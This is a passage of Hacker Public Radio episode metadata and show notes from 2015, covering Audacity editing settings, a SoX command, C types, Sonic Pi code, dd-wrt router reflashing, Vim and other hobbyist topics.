                                                            OUR AUDIO

                                                            \n

                                                            This episode was processed using Audacity https://audacity.sourceforge.net/. We've been making small adjustments to our audio mix each month in order to get the best possible sound. It's been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it's not good at making everyone's voice the same volume. We're pretty happy with the way this month's show turned out, so we'd like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz so the first step in our audio process is to resample the file at 44.1kHz. Resampling can take a long time if you don't have a powerful computer, and sometimes even if you do. If you record late at night, like we do, you may want to start the task before you go to bed, and save it first thing in the morning, so that the file is ready to go the next time you are.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                              \n
                                                            • Threshold: -30db
                                                            • \n
                                                            • Noise Floor: -50db
                                                            • \n
                                                            • Ratio: 3:1
                                                            • \n
                                                            • Attack Time: 0.2sec
                                                            • \n
                                                            • Decay Time: 1.0 sec
                                                            • \n
                                                            • \"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.
                                                            • \n
                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file's metadata. We use the \"Truncate Silence\" effect with its default settings to minimize the silence between people speaking. When used with its default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR FTP server.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember to save after every major transform, you will wonder how it ever got that reputation.

                                                            \n

                                                            FURTHER RECOMMENDATIONS

                                                            \n

                                                            If you liked Pirate Radio, you may also like The movies THX-1137, Logan's Run or The Illustrated Man.

                                                            \n

                                                            FEEDBACK

                                                            \n

                                                            Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time. Please leave a few words in the episode's comment section.\n
                                                            As always; remember to visit the HPR contribution page HPR could really use your help right now.

                                                            \n

                                                            https://hackerpublicradio.org/contribute.php

                                                            \n

                                                            Sincerely,\n
                                                            The HPR_AudioBookClub

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n

                                                            1: The HPR_AudioBookClub doesn't laugh at anyone for reviewing tea, nor any other drink. We intentionally call the segment a \"beverage review,\" not a \"beer review\" so that no one should feel alienated. Also because some of us drink wine.

                                                            \n

                                                            2: The HPR_AudioBookClub does laugh when people try to spell flavor with a \"u\"

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR AudioBookClub","version":0,"downloads":0,"valid":1}, {"id":1763,"date":"2015-05-06","title":"Intro to Homebrewing","duration":1209,"summary":"Beer! and the joy of making it.","notes":"

                                                            \nI talk a bit about homebrewing, how to do it, what it is, and how to get started. \nIf there is interest, I will do more in-depth shows on the topic, otherwise I will let it stand alone. \n

                                                            \n\n

                                                            Links

                                                            \n\n

                                                            \nI ramble on about brewing your own beer. Here are a few internet resources to help you along:\n

                                                            \n\n\n\n

                                                            \nThis is my first episode ever, so any advice is greatly appreciated. My email is amneher007@gmail.com\n

                                                            ","hostid":303,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"brewing, beer, homebrewing","version":0,"downloads":0,"valid":1}, {"id":1764,"date":"2015-05-07","title":"Introduction to Rogue Class Linux","duration":990,"summary":"Rogue Class Linux is a specialty distribution of Linux for playing the old games.","notes":"

                                                            \nRogue Class describes itself as \"a toy Linux distribution for playing games and reading books. RCL favors turn-based games, such as puzzles and rogue-like games. \"\n

                                                            \n

                                                            \nWhat are Rogue Class games? According to a link at the Rogue Class website, Rogue Class games are characterized by\n

                                                            \n

                                                            \n

                                                              \n
                                                            • \"Tactical play. The unit of action is based on the individual adventurer. The game is not twitch oriented (like Quake, rewarding reflexes & well trained actions) nor is it strategy oriented (like Civilizations or Warcraft, requiring working on the large picture)
                                                            • \n
                                                            • \"Based in Hack and Slash. A roguelike isn't primarily about plot development or telling a story. It is about killing things and acquiring treasure.
                                                            • \n
                                                            • \"Random games. A roguelike is a dungeon crawler where no two games are the same. The maps are different, the items are different, there are no guaranteed win paths.
                                                            • \n
                                                            • \"Permadeath. You die, that is it. No restoring a savegame. Good roguelikes delete your save game after loading them. This is compensated by the replayability of the game.
                                                            • \n
                                                            • \"Complex interactions of properties. While the commands for a roguelike are simple, the potential interactions are not. My favourite example is equipping a silver ring as a weapon in order to damage a creature vulnerable to silver, but not one's other weapons. [Editor: This matches the Hack branch of the roguelike tree, not the Angband branch]
                                                            • \n
                                                            • \"Steam rolling monsters. If a critter is in your way, and weak, you shouldn't even notice it is there.\"
                                                            • \n
                                                            \n

                                                            \n

                                                            \n\n(Source: https://www.zincland.com/powder/?pagename=about)\n

                                                            \n

                                                            \nRogue Class contains four dozen or so games, two of which are actually categories which in turn contain additional games, as well as a number of utilities, including a network manager, an IRC client, and more. Some representative games include the following, picked quite at random: Angband, Fargoal, Magus, Moria, Nethack, and Tome. \n

                                                            \n

                                                            \n\nIf you liked the old games, give Rogue Class a spin.\n

                                                            \n

                                                            \n\nWebsite: https://rogueclass.org/\n

                                                            \n

                                                            \n\nThe Rogue Class forum is located at Linux Questions.org: https://www.linuxquestions.org/questions/rogue-class-106/\n

                                                            \n

                                                            \n\nYou can see an interesting chart of Rogue Class's graphics subsystems at this link: \nhttps://www.linuxquestions.org/questions/rogue-class-106/rcl-graphics-sub-systems-4175522637\n\n

                                                            \n","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"games,Rogue Class,gamebooks","version":0,"downloads":0,"valid":1}, {"id":1765,"date":"2015-05-08","title":"53 - LibreOffice Impress - Outlining and Blank Presentations","duration":829,"summary":"Learning to start with the content and not the eye candy.","notes":"

                                                            \nHaving looked at the screen layout, now we can look at how to build a presentation by focusing on the content first, and not the eye candy. This can be done by creating an outline, or by beginning with a blank presentation. We discuss both and give some ideas on which to use in each situation.\nFor more go to https://www.ahuka.com/?page_id=1100\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"Libreoffice,Libreoffice impress,outline","version":0,"downloads":0,"valid":1}, {"id":1766,"date":"2015-05-11","title":"Sox of Silence","duration":616,"summary":"Using SOX to speed up and remove silence in a podcast","notes":"

                                                            \nMany of you may be aware of the \"truncate silence\" filter in audacity. As I already use SOX to speed up my podcasts, I wanted to see if it could also remove silence as well. While the man page is detailed, it is difficult to follow. https://sox.sourceforge.net/\n

                                                            \n

                                                            \nFortunately Jason Navarrete posted an excellent article on digitalcardboard.com called The SoX of Silence which went through the process step by step https://digitalcardboard.com/blog/2009/08/25/the-sox-of-silence/\n

                                                            \n\n

                                                            The Script

                                                            \n
                                                            \n    # -S, --show-progress\n    # -V verbose\n    # tempo Change the audio playback speed but not its pitch. \n    # remix Select and mix input audio channels into output audio channels. \n    # remix - performs a mix-down of all input channels to mono.\n    # silence Removes silence from the beginning, middle, or end of the audio.\n    # https://digitalcardboard.com/blog/2009/08/25/the-sox-of-silence/\n    # \n    sox -S -v2 \"${FILENAME}\" \"${FILENAME}-faster-${SPEED}.ogg\" -V9 tempo ${SPEED} remix - silence 1 0.1 1% -1 0.1 1%\n
                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"sox, truncate silence","version":0,"downloads":0,"valid":1}, {"id":1767,"date":"2015-05-12","title":"An interview with Ed Cable of the Mifos Initiative","duration":704,"summary":"David Whitman interviews Ed Cable of the MIFOS Iniative at Linux Fest Northwest on April 25, 2015.","notes":"

                                                            \nDavid Whitman interviews Ed Cable of the MIFOS Initiative\nhttps://mifos.org/\n

                                                            \n

                                                            \nFrom their website:\nMifos X is an extended platform for delivering the complete range of financial services needed for an effective financial inclusion solution.\n

                                                            \n

                                                            \nAs the industrys only open platform for financial inclusion, we provide affordable, adaptable and accessible solutions for any segment of the market, new and small financial institutions can easily start with our community app in a hosted environment, medium and large institutions that are evolving into full-service providers of financial inclusion can use our global network of IT partners to configure a Mifos X solution, and innovators can build and scale entirely new solutions on our API-driven platform.\n

                                                            ","hostid":209,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Microfinance, LinuxFest Northwest","version":0,"downloads":0,"valid":1}, {"id":1768,"date":"2015-05-13","title":"An Intro To C Episode 1 : Introduction and Types","duration":1927,"summary":"I go through the basic types and a basic introduction of myself. :) ","notes":"

                                                            Episode 1: History and Basic Types

                                                            \n\n

                                                            Explain who you are and what you do.

                                                            \n\n
                                                              \n
                                                            • Name: Colin Mills, (cjm)

                                                            • \n
                                                            • Occupation: Software Engineering Student in Canada

                                                            • \n
                                                            • I have been a UNIX geek and open source software FANATIC for about four years now.

                                                            • \n
                                                            • Website: c-jm.github.io

                                                            • \n
                                                            \n\n

                                                            Start to go into the history of C and explain where it came from.

                                                            \n\n

                                                            Abstract

                                                            \n\n
                                                            \n

                                                            C was originally developed by Dennis Ritchie between 1969 and 1973 at AT&T \nBell Labs,[5] and used to (re-)implement the Unix operating system.[6] \nIt has since become one of the most widely used programming languages of all \ntime, [7][8] with C compilers from various vendors available for the\nmajority of existing computer architectures and operating systems. \nC has been standardized by the American National Standards Institute (ANSI) > since 1989 (see ANSI C) and subsequently by the \nInternational Organization for Standardization (ISO).

                                                            \n
                                                            \n\n\n\n

                                                            Explain Types and their meanings

                                                            \n\n
                                                              \n
                                                            • SIGNED: It means it can hold either negative or positive values.

                                                            • \n
                                                            • UNSIGNED: Unsigned means it can only hold positive values.

                                                            • \n
                                                            \n\n

                                                            Retrieved From: Wikipedia On Signedness

                                                            \n\n

                                                            int:

                                                            \n\n
                                                              \n
                                                            • An int is a variable that is at leas 16 bits in size.

                                                            • \n
                                                            • It is actually the most efficent for the processor itself.

                                                            • \n
                                                            • Capable of storing -32767 -> 32767

                                                            • \n
                                                            \n\n

                                                            Int Specifiers

                                                            \n\n
                                                              \n
                                                            • short: 16 bits in size

                                                              \n\n

                                                              short int intThatIsAShort = 0;

                                                            • \n
                                                            • long: 32 bits in size

                                                              \n\n

                                                              long intThatIsALong = 0;

                                                            • \n
                                                            • long long: 64 bits in size

                                                              \n\n

                                                              long long reallyBigInteger = 0;

                                                            • \n
                                                            \n\n

                                                            char

                                                            \n\n
                                                              \n
                                                            • One byte in memory. (8 bits).

                                                            • \n
                                                            • Holds a character but can also hold a number

                                                              \n\n

                                                              char thisCanHoldALetter = 'x';\nchar thisCanHoldANumber = 72;

                                                            • \n
                                                            \n\n

                                                            Note about the ascii table

                                                            \n\n
                                                              \n
                                                            • ASCII is just a number corresponding with a letter.

                                                            • \n
                                                            • Look here for more information.

                                                            • \n
                                                            \n\n

                                                            float

                                                            \n\n
                                                              \n
                                                            • Holds floating point numbers

                                                              \n\n

                                                              float thisIsAFloat = 72.2;

                                                            • \n
                                                            \n\n

                                                            Double

                                                            \n\n
                                                              \n
                                                            • Like a float but bigger.

                                                              \n\n

                                                              double thisIsADouble = 0;

                                                            • \n
                                                            \n\n

                                                            Arrays

                                                            \n\n
                                                              \n
                                                            • Arrays are collections of multiple things

                                                            • \n
                                                            • Have to be a set size.

                                                            • \n
                                                            • Use braces to initalize

                                                            • \n
                                                            • If you initalize one you initalize all.

                                                              \n\n

                                                              int arrayOfNums[100] = {0};

                                                            • \n
                                                            \n\n

                                                            Strings

                                                            \n\n
                                                              \n
                                                            • \"Strings\" are made up of mutliple chars. (Yes it does make sense! :))

                                                              \n\n

                                                              char arrayOfChars[81] = {0};

                                                            • \n
                                                            • Null termination is added to the end.

                                                              \n\n

                                                              '\0'

                                                            • \n
                                                            \n","hostid":286,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"C, Programming","version":0,"downloads":0,"valid":1}, {"id":1769,"date":"2015-05-14","title":"A Demonstration of Dictation Software on my Office Computer","duration":825,"summary":"I record a whole show in dictation mode to demonstrate Dragon dictation software capabilities","notes":"

                                                            Transcript Performed by Dragon Dictate [dumped \"as is\"]

                                                            \n\n

                                                            Hi everybody! This is John Kulp In Lafayette, Louisiana. I am going to do a rather strange episode today. What I'm doing is demonstrating the dictation software that I use on the office computer that I have here at work. If you listen to my previous episodes, then you have heard me speak of the blather speech recognition program that I use on my Linux desktop, but as you may also remember, blather is not a dictation tool. Blather is a tool where you have to set up commands that will run other commands. In other words, you have to configure everything from scratch. I do have some capabilities for dictation on my Linux desktop, but they involve using the Google Web speech API and a special dictation box that I have set up, and these are not at all good for longform dictation. For serious dictation, such as writing letters and memos and other longform text, you really need a proper dictation tool. These are available built into the operating systems of Windows and Mac OS 10, but I normally use the Dragon naturally speaking software instead. I have found that it is more accurate and more powerful than the built-in versions that you can get on either Windows or Mac. That doesn't mean you shouldn't try out the built-in speech recognition on Windows and Mac, you definitely should, because I think you would be very impressed with him. I know for sure that the version on Windows learns from your voice and from the corrections that you make to the text that you were spoken, and eventually becomes very powerful in recognizing your speech. The biggest problem that I had with the Windows speech recognition was that it was a huge memory hog and frequently brought my system to a grinding halt. This is not good. Blather never does that, but then again bladder cannot take dictation. The latest system that I use for dictation is on a fairly recent Mac Mini running the nuance Dragon Dictate software. This is a very powerful dictation program that learns from your speech patterns and you can also add words to the vocabulary so that it will get them right when it hears them. This is especially important to do if you have frequently used unusual words, such as a name with an alternate spelling from what is normally in the program's dictionary. One of the great things about the Mac Dragon Dictate program, also, is its ability to do transcriptions of audio files. In fact the reason I am speaking this way is that I plan to use the transcription of this recording as the show notes verbatim without any corrections. The difficulty that most people have with dictation software at least initially is doing things like punctuation and capitalization. You have to remember to do these things or else your transcript will come out without any punctuation or capitalization, unless the words that you are speaking are known proper nouns. It also capitalizes automatically at the beginning of the sentences, so that if you use periods frequently then you will have capitalized words after those periods. You can see that I'm having trouble speaking this text in a fluent way, and this is one of the other difficulties that people have when initially using transcription software. It works best when you can express complete thoughts without pausing, because it learns from the context of your words. It has algorithms that calculate the possibility of one word or another based on the context, and so it is much better to speak entire sentences at one than it is to pause while trying to gather your thoughts. This is a major difference from trying to write at the keyboard, where it does not matter at all if you pause for seconds or even minutes while you think of what you want to write next. Anyhow, I highly recommend using some kind of dictation software if you suffer from repetitive strain injuries like I do. This will save you many thousands of keystrokes. Even if it's only using the speech recognition that's available on your phones over the web, that's better than nothing. The disadvantage of any of these services that have to send your recording over the web to \nget a transcription and then send it back into your device is that they will never learn your voice and your particular speech patterns. In order for that to work best, you really have to use a dedicated standalone speech recognition program that resides locally on your computer and saves your profile and learns from your speaking. Well, I guess that is about it for today, I hope you have enjoyed hearing this brief lesson on dictation. See you next time!

                                                            \n\n

                                                            Links

                                                            \n\n\n\n

                                                            Credits

                                                            \n\n\n\n------------------------------------------------------------\n","hostid":238,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"RSI, Dictation, Speech Recognition","version":0,"downloads":0,"valid":1}, {"id":1770,"date":"2015-05-15","title":"The OpenDyslexic Font","duration":1087,"summary":"Introduction to the OpenDyslexic font","notes":"

                                                            In this episode I talk about how you can take advantage of the OpenDyslexic font as a user, and also how as a content provider you can use it to help your readers. Incidentally, we also talked about this for a while during episode 1418, one of the 2013 New-Year shows.

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":238,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"Accessibility, Fonts, Typesetting, Web design, Dyslexia","version":0,"downloads":0,"valid":1}, {"id":1771,"date":"2015-05-18","title":"Audacity: Label Tracks","duration":683,"summary":"Intro to my recent discovery of \"Label Tracks\" in Audacity","notes":"

                                                            Label Tracks in Audacity

                                                            \n\n

                                                            I don't know if I'm ignorant and everyone else already knows about this, but I decided to record a quick show about Audacity \"Label Tracks,\" something I discovered while working on another HPR episode today.

                                                            \n\n

                                                            The label track is one of the most useful things I've found in a long time. It allows you to annotate your audio project so that you can quickly see important spots or summarize the contents of whole segments and see at a glance what they are about without hunting all over the place and playing things back, trying to find the part where you were talking about X,Y, or Z. You can also export the labels as a plain text file with exact timestamps. I have not tried this, but according to the documentation you can also use labels to mark the beginnings of separate songs in a long track and export multiple separate files at once from a single source based on the labels.

                                                            \n\n

                                                            To add a label track, go to the Tracks menu and select Add New --> Label Track, and it will add the label track to the bottom of your list of tracks. To add a label, either stick the cursor where you want the label to be and press ctrl+b to add text, or select a region to label by clicking and dragging over a region in the label track, then do ctrl+b to start typing the label text.

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":45,"explicit":0,"license":"CC-BY-SA","tags":"Audacity, audio editing, podcasting","version":0,"downloads":0,"valid":1}, {"id":1772,"date":"2015-05-19","title":"Random thoughts","duration":748,"summary":"I talk about some of the things I appreciate in life","notes":"

                                                            \nhttps://anthonyvenable110.wordpress.com\n

                                                            \n

                                                            \nhttps://anthonyvenable110.wordpress.com/2014/05/07/lovely-walk-in-may-part-1/\n

                                                            \n

                                                            \nMy blogsite as well as just one of the many posts on my site that deal with what I appreciate about my life in general\n

                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"life, random","version":0,"downloads":0,"valid":1}, {"id":1773,"date":"2015-05-20","title":"LFNW 2015 interview with Deb Nicholson","duration":1052,"summary":"David Whitman interviews Deborah Nicholson of the Open invention Network. Enjoy!","notes":"

                                                            \nDeb Nicholson:
                                                            \nhas been a free speech advocate, economic justice organizer and civil liberties defender. After working in Massachusetts politics for fifteen years, she then became involved in the free software movement at the Free Software Foundation. \n

                                                            \n

                                                            \nDefensive Publications info: https://www.linuxdefenders.org/?page_id=150\n

                                                            \n

                                                            \nSeattle GNU/Linux Conference https://seagl.org/ IRC on Freenode in #seagl.\nWere very excited to be returning to Seattle Central College for SeaGL on Friday October 23rd and Saturday October 24th, 2015. \nSeaGL is a grassroots technical conference dedicated to spreading awareness and knowledge about the GNU/Linux community and free/libre/open-source software/hardware.\nCost of attendance is free.\nAttendee Registration will not require the use of non-free software.\nYou may attend SeaGL without identifying yourself, and you are encouraged to do so to protect your privacy. \n

                                                            \n\n","hostid":209,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Software Patents, Linux Fest, Mediagoblin, GNU","version":0,"downloads":0,"valid":1}, {"id":1774,"date":"2015-05-21","title":"Router Hacking","duration":1190,"summary":"A Quick What, Why, and How of Hacking Routers","notes":"

                                                            Router Hacking

                                                            \n\n

                                                            What

                                                            \n
                                                              \n
                                                            • Flashing a router with alternate firmware
                                                            • \n
                                                            \n\n

                                                            Why

                                                            \n
                                                              \n\t
                                                            • Provide additional features
                                                            • \n\t
                                                            • Improve performance
                                                            • \n\t
                                                            • Privacy (gets rid of unwanted spyware)
                                                            • \n\t
                                                            • Fun
                                                            • \n
                                                            \n\n

                                                            Where

                                                            \n\n\n

                                                            How: Steps for My Latest Hack

                                                            \n
                                                              \n\t
                                                            1. Find used Netgear WNDR3400 router on shelf at local Goodwill store, priced at $3.99.
                                                            2. \n\t
                                                            3. Use my smartphone to check the dd-wrt database to see if this router is hackable.
                                                            4. \n\t
                                                            5. Grin broadly upon seeing the green \"Yes\" beside router WNDR3400.
                                                            6. \n\t
                                                            7. Double-check that power supply is included, find an AC outlet and plug in to be sure it powers on and my phone sees its ESSID. Yep and yep.
                                                            8. \n\t
                                                            9. Take router to cashier and purchase.
                                                            10. \n\t
                                                            11. Do hard reset of router to clear any previous configuration.
                                                            12. \n\t
                                                            13. Hook a laptop up to router using ethernet patch cable (turning off WiFi adapter on laptop).
                                                            14. \n\t
                                                            15. Access router's configuration in web browser at default router address of 192.168.1.1 just to confirm that it works.
                                                            16. \n\t
                                                            17. Go back to the dd-wrt router database and find the router again, then download the corresponding \"mini\" and the \"mega\" versions of dd-wrt firmware (The mega version has the most features—including USB support, which I wanted—but on many routers, including this one, you have to install the mini version first or else you could brick the router)
                                                            18. \n\t
                                                            19. Read over the dd-wrt wiki page for this specific router just to see if there's anything unusual about the hack. There's not.
                                                            20. \n\t
                                                            21. Go to the router's stock configuration page again and find the \"Firmware upgrade\" button.
                                                            22. \n\t
                                                            23. Click the button and choose the \"mini\" version of the dd-wrt firmware, and click upgrade, then wait while crossing fingers until it says firmware successfully upgraded.
                                                            24. \n\t
                                                            25. Refresh the configuration page at 192.168.1.1 and see the new dd-wrt configuration interface.
                                                            26. \n\t
                                                            27. Pat myself on the back because I have just hacked another router. Hray!
                                                            28. \n\t
                                                            29. Find the upgrade firmware area on the new dd-wrt interface, and this time choose the \"mega\" firmware file and submit, then wait and cross fingers as before. Celebrate when it works.
                                                            30. \n\t
                                                            31. Configure newly hacked router as wireless bridge (this is NOT going to be my main router), enable the USB and printer support, hook up our formerly-usb-only printer to the router, and configure household computers to be able to print wirelessly to the newly-networked printer.
                                                            32. \n\t
                                                            33. Enjoy kudos from appreciative family.
                                                            34. \n
                                                            \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Networking, Routers, Printer Setup, dd-wrt, tomato, openwrt","version":0,"downloads":0,"valid":1}, {"id":1775,"date":"2015-05-22","title":"Sonic Pi","duration":677,"summary":"A short review of sonic PI and programming the HPR theme","notes":"

                                                            \nIn this review of the Sonic Pi software I have mentioned a couple of programs that I wrote the listings are here:\n

                                                            \n
                                                            \n============================\nThe Hippopotamus Song\n============================\nuse_bpm 180\n# use_transpose -12\nuse_synth :fm\n2.times do\nplay_pattern_timed [:D3,:G3,:G3,:G3], [1,1,1,1]      # 1 extra note from bar an bar 2\nplay_pattern_timed [:G3,:D3,:B2,:G2], [0.5,0.5,1,1]  # 3\nplay_pattern_timed [:a2,:b2,:c3], [1,1,1]            # 4\nplay_pattern_timed [:b2,:b2,:a2], [2,0.5,0.5]        # 5\nplay_pattern_timed [:g2,:g3,:g3], [1,1,1]            # 6\nplay_pattern_timed [:fs3,:g3,:e3], [1,1,1]           # 7\nplay_pattern_timed [:d3,:d3], [4,1]                  # 8 9\nplay_pattern_timed [:g3,:g3,:g3], [1,1,1]            # 10\nplay_pattern_timed [:g3,:d3,:b2,:g2], [0.5,0.5,1,1]  # 11\nplay_pattern_timed [:a2,:b2,:c3], [1,1,1]            # 12\nplay_pattern_timed [:b2,:b3,:a3], [2,0.5,0.5]        # 13\nplay_pattern_timed [:g3,:fs3,:e3], [1,1,1]           # 14\nplay_pattern_timed [:a3,:fs3,:e3], [1,1,1]           # 15\nplay_pattern_timed [:d3,:d3], [4,1]                  # 16 17\nplay_pattern_timed [:a3,:a3,:a3], [1,1,1]            # 18\nplay_pattern_timed [:e3,:e3,:e3], [1,1,1]            # 19\nplay_pattern_timed [:a3,:a3,:a3], [1,1,1]            # 20\nplay_pattern_timed [:e3,:a3], [2,1]                  # 21\nplay_pattern_timed [:c4,:b3,:a3], [1,1,1]            # 22\nplay_pattern_timed [:a3,:b3,:gs3], [1,1,1]           # 23\nplay_pattern_timed [:a3,:d3], [4,1]                  # 24 25\nplay_pattern_timed [:e3,:fs3,:g3], [1,1,1]           # 26\nplay_pattern_timed [:fs3,:d3,:d3], [1,1,1]           # 27\nplay_pattern_timed [:e3,:fs3,:g3], [1,1,1]           # 28\nplay_pattern_timed [:fs3,:d3,:d3], [1,1,1]           # 29\nplay_pattern_timed [:c4,:b3,:a3], [1,1,1]            # 30\nplay_pattern_timed [:g3,:fs3,:e3], [1,1,1]           # 31\nplay_pattern_timed [:fs3],[1], sustain_level: 0.6, sustain: 1, decay: 3   # 32 sustain note into next bar\nplay_pattern_timed [:g3,:fs3], [1,1]                 # 32\nplay_pattern_timed [:e3,:d3,:fs3], [1,1,1]           # 33\nplay_pattern_timed [:g3,:d3],[3,3]                   # 34 35\nplay_pattern_timed [:c3,:b2,:a2], [1,1,1]            # 36\nplay_pattern_timed [:d3],[3]                         # 37\nplay_pattern_timed [:g3,:fs3,:g3], [1,1,1]           # 38\nplay_pattern_timed [:e3,:a3,:g3], [1,1,1]            # 39\nplay_pattern_timed [:fs3,:e3,:fs3], [1,1,1]          # 40\nplay_pattern_timed [:d3,:d3],[2,1]                   # 41\nplay_pattern_timed [:b3,:b3,:a3], [0.5,1.5,1]        # 42\nplay_pattern_timed [:g3,:d3,:d3], [0.5,1.5,1]        # 43\nplay_pattern_timed [:c4,:c4,:b3], [1,1,1]            # 44\nplay_pattern_timed [:a3,:e3,:d3], [0.5,1.5,1]        # 45\nplay_pattern_timed [:e3,:fs3,:g3], [1,1,1]           # 46\nplay_pattern_timed [:d3,:b2,:g2], [1,1,1]            # 47\nplay_pattern_timed [:a2],[3], decay: 3               # 48\nplay_pattern_timed [:a2,:b2,:a2], [1,1,1]            # 49\nplay_pattern_timed [:g2],[3], decay: 3               # 50\nplay_pattern_timed [:g2],[1]                         # 51\nsleep 2\nend\n\n=======================================\nThe HPR Outro theme - hack on this improve it and make a show\n=======================================\nin_thread do\n  use_bpm 180\n  use_transpose 24\n  use_synth :beep\n  19.times do\n    play_pattern_timed [:a,:as,:a,:a], [0.5],release: 0.02, amp: 0.3 #\n    play_pattern_timed [:as,:f,:as,:a], [0.5],release: 0.02, amp: 0.3  #\n  end\nend\nuse_bpm 180\nsample :elec_hi_snare\nsleep 0.5\nsample :elec_hi_snare\nsleep 0.5\nsample :drum_bass_hard\nsleep 0.5\n\nuse_transpose -0\nuse_synth :saw\n2.times do\n  play_pattern_timed [:a,:a,:a,:a], [0.5,1,0.5,1] # 3\n  play_pattern_timed [:a,:as,:a], [1,1,1]\n  play_pattern_timed [:c5], [3], decay: 2   # 6\n  play_pattern_timed [:a,:a,:a,:a], [0.5,1,0.5,1] # 3\n  play_pattern_timed [:a,:as,:a], [1,1,1]    # 6\n  play_pattern_timed [:f], [3], decay: 2   # 6\nend\nuse_synth :dsaw\nplay_pattern_timed [:f],[1]\nplay_pattern_timed [:c5],[2], decay: 1.5\nplay_pattern_timed [:as,:a,:as],[1,1,1]\nplay_pattern_timed [:a],[1]\nplay_pattern_timed [:c5],[2], decay: 1.5\nplay_pattern_timed [:f],[1]\nplay_pattern_timed [:c5],[2], decay: 1.5\nplay_pattern_timed [:as,:a,:as,],[1,1,1]\nplay_pattern_timed [:a],[1]\nplay_pattern_timed [:f],[2], decay: 1.5\nplay_pattern_timed [:f],[1]\nplay_pattern_timed [:c5],[2], decay: 1.5\nplay_pattern_timed [:as,:a,:as],[1,1,1]\nplay_pattern_timed [:a],[1]\nplay_pattern_timed [:c5],[2], decay: 1.5\nplay_pattern_timed [:f],[1]\nplay_pattern_timed [:c5],[2], decay: 1.5\nplay_pattern_timed [:as,:a,:as,:a],[1,1,1,1]\nplay_chord [:c4,:f], decay: 4\n===========================\n
                                                            \n\n------------------------------------------------------------\n","hostid":240,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry PI, music, programming, review","version":0,"downloads":0,"valid":1}, {"id":1776,"date":"2015-05-25","title":"Vim Hints 004","duration":2840,"summary":"Hints and Tips for Vim users - part 4","notes":"

                                                            Joining commands together

                                                            \n

                                                            In this episode I want to look at more movement commands and how to use them in conjunction with commands that change things in the file. I also want to add some more elements to the configuration file we have been building over the last few episodes.

                                                            \n

                                                            I have covered a lot of ground in this episode, introducing a number of new subjects. This is partly because I felt the series needed to get to the point where you could start to make full use of Vim if you are following along, and partly because the episodes up to this point have been moving a little too slowly! I hope the change in pace and length hasn't put you off.

                                                            \n

                                                            Full Notes

                                                            \n

                                                            Since the notes explaining this subject are particularly long, they are available by following this link. An ePub version is also available.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            1. Vim Help:\n
                                                            2. \n
                                                            3. Graphical Cheat Sheet: https://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html
                                                            4. \n
                                                            5. Vim Hints Episode 3 https://hackerpublicradio.org/eps/hpr1734/index.html
                                                            6. \n
                                                            \n","hostid":225,"series":82,"explicit":1,"license":"CC-BY-SA","tags":"vim,gvim,editor,movement,editing,configuration","version":0,"downloads":0,"valid":1}, {"id":1777,"date":"2015-05-26","title":"Magnatune Favourites","duration":4033,"summary":"Andrew and Dave talk about Magnatune and some of their favourite tracks","notes":"

                                                            Magnatune Favourites

                                                            \n

                                                            Andrew Conway and Dave Morriss, who each have a lifetime membership with Magnatune, talk about the label and share some favourite tracks.

                                                            \n

                                                            About Magnatune

                                                            \n
                                                            \n\"Magnatune
                                                            Magnatune Logo
                                                            \n
                                                            \n

                                                            Magnatune is an American independent record label based in Berkeley, California. It was founded in 2003 by John Buckman.

                                                            \n

                                                            When first set up music could be bought from Magnatune through a download interface on the website with a "pay what you like" pricing model. Later it was possible to purchase physical CDs and in 2007 complete albums and individual tracks could be bought through Amazon.com.

                                                            \n

                                                            Magnatune moved to a membership plan in 2008 and in 2010 dropped the CD printing service. The subscription model offers monthly or lifetime membership. Members can download as much as they want, or with a streaming membership can stream as much as they want. Many download formats are available and all music is without DRM.

                                                            \n

